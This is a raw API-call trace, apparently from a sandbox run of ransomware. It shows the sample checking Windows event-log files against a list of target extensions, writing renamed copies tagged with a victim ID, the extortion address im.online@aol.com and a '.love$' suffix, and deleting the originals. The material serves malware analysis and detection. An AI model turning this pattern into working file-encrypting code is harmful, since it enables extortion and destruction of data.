(lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.113] lstrlenW (lpString=".doc") returned 4 [0121.114] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".docx") returned 5 [0121.114] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.114] lstrlenW (lpString=".pdf") returned 4 [0121.114] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".xls") returned 4 [0121.114] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".xlsx") returned 5 [0121.114] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.114] lstrlenW (lpString=".ppt") returned 4 [0121.114] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.114] lstrlenW (lpString=".zip") returned 4 [0121.114] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".rar") returned 4 [0121.114] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".bz2") returned 4 [0121.114] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString=".7z") returned 3 [0121.114] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.114] lstrlenW (lpString=".dbf") returned 4 [0121.114] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.114] lstrlenW (lpString=".1cd") returned 4 [0121.114] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0121.114] lstrlenW (lpString=".jpg") returned 4 [0121.115] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.115] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.115] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0121.115] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.115] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0121.115] CloseHandle (hObject=0x394) returned 1 [0121.115] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0121.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.116] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.116] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.116] GetLastError () returned 0x0 [0121.116] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.516] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.519] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0121.519] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x134, lpOverlapped=0x0) returned 1 [0121.520] SetEndOfFile (hFile=0x2d8) returned 1 [0121.520] CloseHandle (hObject=0x2d8) returned 1 [0121.524] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.524] SetEndOfFile (hFile=0x394) returned 1 [0121.526] CloseHandle (hObject=0x394) returned 1 [0121.526] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.526] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0121.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.526] lstrlenW (lpString=".doc") returned 4 [0121.526] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.526] lstrlenW (lpString=".docx") returned 5 [0121.526] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.526] lstrlenW (lpString=".pdf") returned 4 [0121.527] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".xls") returned 4 [0121.527] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".xlsx") returned 5 [0121.527] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.527] lstrlenW (lpString=".ppt") returned 4 [0121.527] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString=".zip") returned 4 [0121.527] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".rar") returned 4 [0121.527] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".bz2") returned 4 [0121.527] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".7z") returned 3 [0121.527] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString=".dbf") returned 4 [0121.527] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString=".1cd") returned 4 [0121.527] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString=".jpg") returned 4 [0121.527] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.527] lstrlenW (lpString=".doc") returned 4 [0121.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.527] lstrlenW (lpString=".docx") returned 5 [0121.527] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.527] lstrlenW (lpString=".pdf") returned 4 [0121.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString=".xls") returned 4 [0121.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString=".xlsx") returned 5 [0121.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.528] lstrlenW (lpString=".ppt") returned 4 [0121.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.528] lstrlenW (lpString=".zip") returned 4 [0121.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString=".rar") returned 4 [0121.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString=".bz2") returned 4 [0121.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString=".7z") returned 3 [0121.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.528] lstrlenW (lpString=".dbf") returned 4 [0121.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.528] lstrlenW (lpString=".1cd") returned 4 [0121.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0121.528] lstrlenW (lpString=".jpg") returned 4 [0121.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.528] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.528] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0121.528] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.531] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0121.531] CloseHandle (hObject=0x394) returned 1 [0121.531] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0121.531] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0121.531] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.531] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0121.532] GetLastError () returned 0x0 [0121.532] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.536] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.538] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0121.538] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x124, lpOverlapped=0x0) returned 1 [0121.539] SetEndOfFile (hFile=0x2d8) returned 1 [0121.539] CloseHandle (hObject=0x2d8) returned 1 [0121.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0121.544] SetEndOfFile (hFile=0x394) returned 1 [0121.546] CloseHandle (hObject=0x394) returned 1 [0121.546] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.547] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0121.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.547] lstrlenW (lpString=".doc") returned 4 [0121.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.547] lstrlenW (lpString=".docx") returned 5 [0121.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.547] lstrlenW (lpString=".pdf") returned 4 [0121.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.547] lstrlenW (lpString=".xls") returned 4 [0121.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.547] lstrlenW (lpString=".xlsx") returned 5 [0121.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.547] lstrlenW (lpString=".ppt") returned 4 [0121.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString=".zip") returned 4 [0121.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString=".rar") returned 4 [0121.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString=".bz2") returned 4 [0121.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString=".7z") returned 3 [0121.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString=".dbf") returned 4 [0121.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString=".1cd") returned 4 [0121.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString=".jpg") returned 4 [0121.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.548] lstrlenW (lpString=".doc") returned 4 [0121.548] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString=".docx") returned 5 [0121.548] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.548] lstrlenW (lpString=".pdf") returned 4 [0121.548] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.548] lstrlenW (lpString=".xls") returned 4 [0121.548] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.549] lstrlenW (lpString=".xlsx") returned 5 [0121.549] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.549] lstrlenW (lpString=".ppt") returned 4 [0121.549] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.549] lstrlenW (lpString=".zip") returned 4 [0121.549] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.549] lstrlenW (lpString=".rar") returned 4 [0121.549] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.549] lstrlenW (lpString=".bz2") returned 4 [0121.549] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.549] lstrlenW (lpString=".7z") returned 3 [0121.549] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.985] lstrlenW (lpString=".dbf") returned 4 [0121.985] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.985] lstrlenW (lpString=".1cd") returned 4 [0121.985] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0121.985] lstrlenW (lpString=".jpg") returned 4 [0121.985] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.985] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.985] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0121.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.152] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0122.152] CloseHandle (hObject=0x3a4) returned 1 [0122.152] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0122.152] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.152] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.152] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.152] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.153] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0122.523] GetLastError () returned 0x0 [0122.523] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.642] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.645] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.645] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x132, lpOverlapped=0x0) returned 1 [0122.645] SetEndOfFile (hFile=0x2b8) returned 1 [0122.645] CloseHandle (hObject=0x2b8) returned 1 [0122.647] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.648] SetEndOfFile (hFile=0x3a4) returned 1 [0122.649] CloseHandle (hObject=0x3a4) returned 1 [0122.649] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.649] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0122.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.650] lstrlenW (lpString=".doc") returned 4 [0122.650] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.650] lstrlenW (lpString=".docx") returned 5 [0122.650] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.650] lstrlenW (lpString=".pdf") returned 4 [0122.650] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.650] lstrlenW (lpString=".xls") returned 4 [0122.650] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.650] lstrlenW (lpString=".xlsx") returned 5 [0122.650] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.650] lstrlenW (lpString=".ppt") returned 4 [0122.650] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.650] lstrlenW (lpString=".zip") returned 4 [0122.650] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.650] lstrlenW (lpString=".rar") returned 4 [0122.651] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString=".bz2") returned 4 [0122.651] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString=".7z") returned 3 [0122.651] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.651] lstrlenW (lpString=".dbf") returned 4 [0122.651] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.651] lstrlenW (lpString=".1cd") returned 4 [0122.651] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.651] lstrlenW (lpString=".jpg") returned 4 [0122.651] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.651] lstrlenW (lpString=".doc") returned 4 [0122.651] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString=".docx") returned 5 [0122.651] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.651] lstrlenW (lpString=".pdf") returned 4 [0122.651] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString=".xls") returned 4 [0122.651] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.651] lstrlenW (lpString=".xlsx") returned 5 [0122.651] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.651] lstrlenW (lpString=".ppt") returned 4 [0122.652] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.652] lstrlenW (lpString=".zip") returned 4 [0122.652] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString=".rar") returned 4 [0122.652] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString=".bz2") returned 4 [0122.652] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString=".7z") returned 3 [0122.652] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.652] lstrlenW (lpString=".dbf") returned 4 [0122.652] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.652] lstrlenW (lpString=".1cd") returned 4 [0122.652] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0122.652] lstrlenW (lpString=".jpg") returned 4 [0122.652] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.652] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.652] lstrlenW 